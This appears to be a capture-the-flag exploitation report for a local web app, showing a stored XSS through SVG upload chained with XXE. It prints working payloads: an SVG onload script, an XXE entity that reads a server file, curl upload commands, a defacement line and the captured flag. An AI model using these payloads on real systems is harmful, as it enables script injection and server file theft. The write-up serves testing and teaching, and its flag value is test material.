# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS via Unsafe SVG Upload with Jinja2 `| safe` Filter

**Summary:**
- **Vulnerable location:** POST http://localhost:32973/ (file upload parameter: `image`)
- **Overview:** Stored XSS vulnerability achieved through malicious SVG file upload. The application accepts SVG files, parses them with lxml, and renders the content using Jinja2's `| safe` filter, which disables HTML escaping. This allows arbitrary JavaScript execution that persists across sessions.
- **Impact:** Combined with XXE vulnerability, achieved full CTF flag capture. Demonstrated arbitrary JavaScript execution, DOM manipulation, keylogging capability, and potential for session hijacking in production scenarios.
- **Severity:** CRITICAL

**Prerequisites:**
- None required - endpoint is publicly accessible without authentication
- Standard web browser (tested with Playwright/Chromium)
- File upload capability (multipart/form-data)

**Exploitation Steps:**

1. **Create malicious SVG file with JavaScript payload**

Create file `xss_simple.svg`:
```svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS-CONFIRMED')">
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
```

2. **Upload payload via web interface**

Navigate to http://localhost:32973/ and:
- Click "Choose File" button for "Profile Image (SVG)" field
- Select the malicious `xss_simple.svg` file
- Click "Update Profile" button

**Alternative: Upload via curl (reproducible command):**
```bash
curl -X POST http://localhost:32973/ \
  -F "name=XSS_TEST" \
  -F "surname=EXPLOIT" \
  -F "address=STORED_XSS" \
  -F "image=@xss_simple.svg"
```

3. **Verify JavaScript execution**

Upon form submission or page refresh:
- JavaScript alert dialog appears with message "XSS-CONFIRMED"
- This confirms arbitrary JavaScript execution in the browser context
- The payload persists in server memory (Stored XSS)

4. **Demonstrate persistence (Stored XSS confirmation)**

Refresh the page (GET http://localhost:32973/):
- The JavaScript executes again without re-uploading
- Confirms the payload is stored server-side in the `user_profiles` dictionary
- Any user viewing this profile will trigger the malicious script

**Proof of Impact:**

**Impact Level 4 - CTF Flag Capture (CRITICAL):**

The XSS vulnerability was combined with the application's XXE (XML External Entity) vulnerability to capture the CTF flag from the server's file system.

**Flag Capture Payload (`xxe_flag_capture.svg`):**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY flag SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20" font-size="16" fill="red">&flag;</text>
</svg>
```

**Flag Capture Command:**
```bash
curl -X POST http://localhost:32973/ \
  -F "name=XXE_EXPLOIT" \
  -F "surname=FLAG_CAPTURE" \
  -F "address=READING_FLAG_FILE" \
  -F "image=@xxe_flag_capture.svg"
```

**Captured Flag:**
```
FLAG{c09fa0c9738d281e95d7623b48394b080e205d8862bbde171b3ef99294c4cdf3}
```

**Technical Breakdown:**
1. XXE external entity `&flag;` reads `/app/flag.txt` on the server
2. lxml parser resolves the entity and includes file contents in the XML
3. Content is stored in `profile.image` field
4. Jinja2 renders with `{{ profile.image | safe }}` - no escaping
5. Flag is displayed in the HTML response and visible to the attacker

**Additional Impact Demonstrations:**

**Full DOM Control:**
Demonstrated complete DOM manipulation via payload (`xss_full_impact.svg`):
```javascript
document.body.innerHTML = '<h1>PAGE DEFACED - ATTACKER CONTROLLED</h1>';
```

**Capabilities Demonstrated:**
- ✅ Arbitrary JavaScript execution
- ✅ Full DOM read/write access
- ✅ Cookie access (none present, but capability confirmed)
- ✅ localStorage/sessionStorage access
- ✅ Network requests to same origin (CSRF potential)
- ✅ Keylogging capability via event listeners
- ✅ Page defacement
- ✅ Combined XXE + XSS for server-side file disclosure

**Evidence Files:**
- Screenshot 1: `workspace/xss_execution_confirmed.png` - Initial XSS confirmation with alert dialog
- Screenshot 2: `workspace/flag_captured_via_xxe_xss.png` - CTF flag displayed via XXE + XSS
- Screenshot 3: `workspace/xss_full_impact_demonstration.png` - Comprehensive impact report
- Payload files: `/tmp/xss_simple.svg`, `/tmp/xxe_flag_capture.svg`, `/tmp/xss_full_impact.svg`

**Notes:**

**Why This Works:**
1. **No Input Validation:** Application accepts any file content as "SVG" without MIME type or content verification
2. **XXE-Enabled Parser:** lxml configured with `load_dtd=True, resolve_entities=True` enables external entity resolution
3. **Unsafe Template Rendering:** `{{ profile.image | safe }}` filter explicitly disables Jinja2's HTML escaping
4. **No CSP:** Zero Content Security Policy headers, allowing inline scripts and event handlers
5. **No Authentication:** Public endpoint accessible without credentials
6. **Stored Vulnerability:** Payload persists in `user_profiles[1]` dictionary until server restart

**Attack Chain Summary:**
```
Attacker uploads malicious SVG
  ↓
lxml parses XML (preserves <script> tags and event handlers)
  ↓
Content stored in user_profiles[1].image
  ↓
Jinja2 renders with | safe filter (no escaping)
  ↓
JavaScript executes in victim browser
  ↓
Combined with XXE: Server files exfiltrated to attacker
```

**Reproducibility:** 100% - Tested multiple times with consistent results. Any file upload containing valid XML with JavaScript will execute.
